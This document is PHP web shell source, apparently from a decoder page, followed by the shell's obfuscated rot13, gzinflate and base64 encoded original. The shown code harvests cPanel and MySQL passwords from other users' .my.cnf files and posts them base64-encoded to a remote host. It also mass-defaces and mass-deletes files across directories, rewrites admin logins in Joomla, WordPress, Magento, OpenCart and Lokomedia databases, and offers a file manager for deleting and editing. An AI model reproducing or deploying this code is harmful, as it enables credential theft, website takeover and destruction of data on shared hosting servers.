curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$buffer = curl_exec($ch);
}
}
}
echo '</table>';
$total = $dc;
 
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
    if($d0mains) {
echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
    if(@eregi('zone',$d0main)){
        preg_match_all('#zone "(.*)"#',$d0main,$domain);
        flush();
        if(strlen(trim($domain[1][0])) >2){
            $mck[] = $domain[1][0];
        }
    }
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
    $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
    $usr[] = $infos['name'];
    $dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
    $r = explode(':',$d);
    if(strpos($r[5],'home')) {
        $passwd[$r[0]] = $r[5];
    }
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td valign=top class=style2 style=width: 139px>".$count++."</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td valign=top class=style2 style=width: 139px>'.$r."</td><td valign=top class=style2 style=width: 139px>".$password."</td><td valign=top class=style2 style=width: 139px><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
                flush();
                $l=$l?0:1;
                $j++;
                }
            }
            }
echo '</table>';
$total = $dc;
echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}
 
}else{
echo "<div class=result><i><font color=#FF0000>ERROR</font><br><font color=#FF0000>/var/named</font> or <font color=#FF0000>etc/named.conf</font> Not Accessible!</i></div>";
}
} elseif($_GET['jancok'] == 'mass') {
	echo "<center><form action=\"\" method=\"post\">
";
	$dirr=$_POST['d_dir'];
	$index = $_POST["script"];
	$index = str_replace('"',"'",$index);
	$index = stripslashes($index);
	function edit_file($file,$index){
		if (is_writable($file)) {
		clear_fill($file,$index);
		echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
		} 
		else {
			echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
			}
			}
	function hapus_massal($dir,$namafile) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					if(file_exists("$dir/$namafile")) {
						unlink("$dir/$namafile");
					}
				} elseif($dirb === '..') {
					if(file_exists("".dirname($dir)."/$namafile")) {
						unlink("".dirname($dir)."/$namafile");
					}
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							if(file_exists($lokasi)) {
								echo "[<font color=lime>DELETED</font>] $lokasi<br>";
								unlink($lokasi);
								$idx = hapus_massal($dirc,$namafile);
							}
						}
					}
				}
			}
		}
	}
	function clear_fill($file,$index){
		if(file_exists($file)){
			$handle = fopen($file,'w');
			fwrite($handle,'');
			fwrite($handle,$index);
			fclose($handle);  } }

	function gass(){
		global $dirr , $index ;
		chdir($dirr);
		$me = str_replace(dirname(__FILE__).'/','',__FILE__);
		$files = scandir($dirr) ;
		$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
		sort($files);
		$n = 0 ;
		foreach ($files as $file){
			if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
				echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
				edit_file($file,$index);
				flush();
				$n = $n +1 ;
				} 
				}
				echo "<br>";
				echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
					}
	function ListFiles($dirrall) {

    if($dh = opendir($dirrall)) {

       $files = Array();
       $inner_files = Array();
       $me = str_replace(dirname(__FILE__).'/','',__FILE__);
       $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
        while($file = readdir($dh)) {
            if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
                if(is_dir($dirrall . "/" . $file)) {
                    $inner_files = ListFiles($dirrall . "/" . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
                    array_push($files, $dirrall . "/" . $file);
                }
            }
			}

			closedir($dh);
			return $files;
		}
	}
	function gass_all(){
		global $index ;
		$dirrall=$_POST['d_dir'];
		foreach (ListFiles($dirrall) as $key=>$file){
			$file = str_replace('//',"/",$file);
			echo "<center><strong>$file</strong> ===>";
			edit_file($file,$index);
			flush();
		}
		$key = $key+1;
	echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['mass'] == 'onedir') {
		echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
";
		$ini="http://";
		$mainpath=$_POST[d_dir];
		$file=$_POST[d_file];
		$path=opendir("$mainpath");
		$code=base64_encode($_POST[script]);
		$indx=base64_decode($code);
		while($row=readdir($dir)){
		$start=@fopen("$row/$file","w+");
		$finish=@fwrite($start,$indx);
		if ($finish){
			echo"$ini$row/$file
";
			}
		}
		echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
		$mainpath=$_POST[d_dir];$file=$_POST[d_file];
		$path=opendir("$mainpath");
		$code=base64_encode($_POST[script]);
		$indx=base64_decode($code);
		while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
		$finish=@fwrite($start,$indx);
		if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
		}

	}
	elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
	elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
	elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
	elseif($_POST['mass'] == 'massdeface') {
		echo "<div style='margin: 5px auto; padding: 5px'>";
		sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
		echo "</div>";	}
	else {
		echo "
		<center><font style='text-decoration: underline;'>
		Select Type:<br>
		</font>
		<select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
		<option value=\"onedir\">Mass Deface 1 Dir</option>
		<option value=\"massdeface\">Mass Deface ALL Dir</option>
		<option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
		<option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
		<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
		<font style='text-decoration: underline;'>Folder:</font><br>
		<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
		<font style='text-decoration: underline;'>Filename:</font><br>
		<input type='text' name='d_file' value='ngeue.php' style='width: 450px;' height='10'><br>
		<font style='text-decoration: underline;'>Index File:</font><br>
		<textarea name='script' style='width: 450px; height: 200px;'>Hacked By Rinto AR</textarea><br>
		<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
		</form></center>";
		}
}elseif($_GET['mass'] == 'changer') {
if($_POST['sikat']) {
      echo "<center><h1>Config Reset Password</h1>
    <form method='post'>
    Link Config: <br>
    <textarea name='link' style='width: 450px; height:250px;'>";
    GrabUrl($_POST['linkconfig'],'txt'); 
    echo"</textarea><br>
        User Baru : <input type='text' name='newuser' placeholder='con7ext'> <br><br>
        Password Baru : <input type='text' name='newpasswd' placeholder='con7ext'><br><br>
    <input type='submit' style='width: 450px;' name='masschanger' value='Hajar!!'>
    </form></center>";
  }else {
    echo '<center>
    <h1>Config Reset Password</h1>
    <form method="post">
    </select><br>
    Link Config :<br>
    <input type="text" name="linkconfig" height="10" style="width: 450px;" placeholder="http://jembod.com/con7ext_symconf/"><br>
    <input type="submit" style="width: 450px;" name="sikat" value="Change User!!">
    </form></center>';
  }
  if($_POST['masschanger']) {
    $user = $_POST['newuser'];
    $pass = $_POST['newpasswd'];
    $passx = md5($pass);
    $link = explode("
", $_POST['link']);
    foreach($link as $file_conf) {
      $config = file_get_contents($file_conf);
      if(preg_match("/JConfig|joomla/",$config)) {
        $dbhost = ambilkata($config,"host = '","'");
        $dbuser = ambilkata($config,"user = '","'");
        $dbpass = ambilkata($config,"password = '","'");
        $dbname = ambilkata($config,"db = '","'");
        $dbprefix = ambilkata($config,"dbprefix = '","'");
        $prefix = $dbprefix."users";
        $conn = mysql_connect($dbhost,$dbuser,$dbpass);
        $db = mysql_select_db($dbname);
        $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
        $result = mysql_fetch_array($q);
        $id = $result['id'];
        $site = ambilkata($config,"sitename = '","'");
        $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
        echo "CMS: Joomla<br>";
        if($site == '') {
          echo "Sitename => <font color=red>Error Cok</font><br>";
        } else {
          echo "Sitename => $site<br>";
        }
        if(!$update OR !$conn OR !$db) {
          echo "[-] <font color=red>".mysql_error()."</font><br><br>";
        } else {
          echo "[+] username: <font color=lime>$user</font><br>";
          echo "[+] password: <font color=lime>$pass</font><br><br>";
        }
        mysql_close($conn);
      } elseif(preg_match("/WordPress/",$config)) {
        $dbhost = ambilkata($config,"DB_HOST', '","'");
        $dbuser = ambilkata($config,"DB_USER', '","'");
        $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
        $dbname = ambilkata($config,"DB_NAME', '","'");
        $dbprefix = ambilkata($config,"table_prefix  = '","'");
        $prefix = $dbprefix."users";
        $option = $dbprefix."options";
        $conn = mysql_connect($dbhost,$dbuser,$dbpass);
        $db = mysql_select_db($dbname);
        $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
        $result = mysql_fetch_array($q);
        $id = $result[ID];
        $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
        $result2 = mysql_fetch_array($q2);
        $target = $result2[option_value];
        if($target == '') {
          $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
        } else {
          $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
        }
        $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'");
        echo "CMS: Wordpress<br>";
        echo $url_target;
        if(!$update OR !$conn OR !$db) {
          echo "[-] <font color=red>".mysql_error()."</font><br><br>";
        } else {
          echo "[+] username: <font color=lime>$user</font><br>";
          echo "[+] password: <font color=lime>$pass</font><br><br>";
        }
        mysql_close($conn);
      } elseif(preg_match("/Magento|Mage_Core/",$config)) {
        $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
        $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
        $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
        $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
        $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
        $prefix = $dbprefix."admin_user";
        $option = $dbprefix."core_config_data";
        $conn = mysql_connect($dbhost,$dbuser,$dbpass);
        $db = mysql_select_db($dbname);
        $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
        $result = mysql_fetch_array($q);
        $id = $result[user_id];
        $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
        $result2 = mysql_fetch_array($q2);
        $target = $result2[value];
        if($target == '') {
          $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
        } else {
          $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
        }
        $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
        echo "CMS: Magento<br>";
        echo $url_target;
        if(!$update OR !$conn OR !$db) {
          echo "[-] <font color=red>".mysql_error()."</font><br><br>";
        } else {
          echo "[+] username: <font color=lime>$user</font><br>";
          echo "[+] password: <font color=lime>$pass</font><br><br>";
        }
        mysql_close($conn);
      } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
        $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
        $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
        $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
        $dbname = ambilkata($config,"'DB_DATABASE', '","'");
        $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
        $prefix = $dbprefix."user";
        $conn = mysql_connect($dbhost,$dbuser,$dbpass);
        $db = mysql_select_db($dbname);
        $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
        $result = mysql_fetch_array($q);
        $id = $result[user_id];
        $target = ambilkata($config,"HTTP_SERVER', '","'");
        if($target == '') {
          $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
        } else {
          $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
        }
        $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
        echo "CMS: OpenCart<br>";
        echo $url_target;
        if(!$update OR !$conn OR !$db) {
          echo "[-] <font color=red>".mysql_error()."</font><br><br>";
        } else {
          echo "[+] username: <font color=lime>$user</font><br>";
          echo "[+] password: <font color=lime>$pass</font><br><br>";
        }
        mysql_close($conn);
      } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
        $dbhost = ambilkata($config,'server = "','"');
        $dbuser = ambilkata($config,'username = "','"');
        $dbpass = ambilkata($config,'password = "','"');
        $dbname = ambilkata($config,'database = "','"');
        $prefix = "users";
        $option = "identitas";
        $conn = mysql_connect($dbhost,$dbuser,$dbpass);
        $db = mysql_select_db($dbname);
        $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
        $result = mysql_fetch_array($q);
        $target = $result[alamat_website];
        if($target == '') {
          $target2 = $result[url];
          $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
          if($target2 == '') {
            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
          } else {
            $cek_login3 = file_get_contents("$target2/adminweb/");
            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
              $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
              $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
            } else {
              $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
            }
          }
        } else {
          $cek_login = file_get_contents("$target/adminweb/");
          $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
          if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
          } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
          } else {
            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
          }
        }
        $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'");
        echo "CMS: Lokomedia<br>";
        if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
          echo $url_target2;
        } else {
          echo $url_target;
        }
        if(!$update OR !$conn OR !$db) {
          echo "[-] <font color=red>".mysql_error()."</font><br><br>";
        } else {
          echo "[+] username: <font color=lime>$user</font><br>";
          echo "[+] password: <font color=lime>$pass</font><br><br>";
        }
        mysql_close($conn);
      }
    }
  }     
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Success !</font><br/>';
}else{
echo '<font color="red">Denied !</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Success !</font><br/>';
}else{
echo '<font color="red">Denied !</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Success !</font><br/>';
}else{
echo '<font color="red">Denied !</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Success !</font><br/>';
}else{
echo '<font color="red">Denied !                                                                                                             </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Success</font><br/>';
}else{
echo '<font color="red">Denied</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">

<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permission</center></td>
<td><center>Action</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<br><br><hr color="#191919"><br><center><br/>Copyright &copy '.date("Y").' <a href="https://www.facebook.com/jembud.go.id" target="_blank">Con7ext</a> - <a href="https://www.facebook.com/xaisyndicate" target="_blank">'.$_COPY.'</a></center>
</body>
</html>';
?>

Did this file decode correctly?

Original Code

<?php
$st = "str_rot13";  
$gz = "gzinflate";  
$st2 = "str_rot13";  
$bs = "base64_decode"; 

$con7ext = "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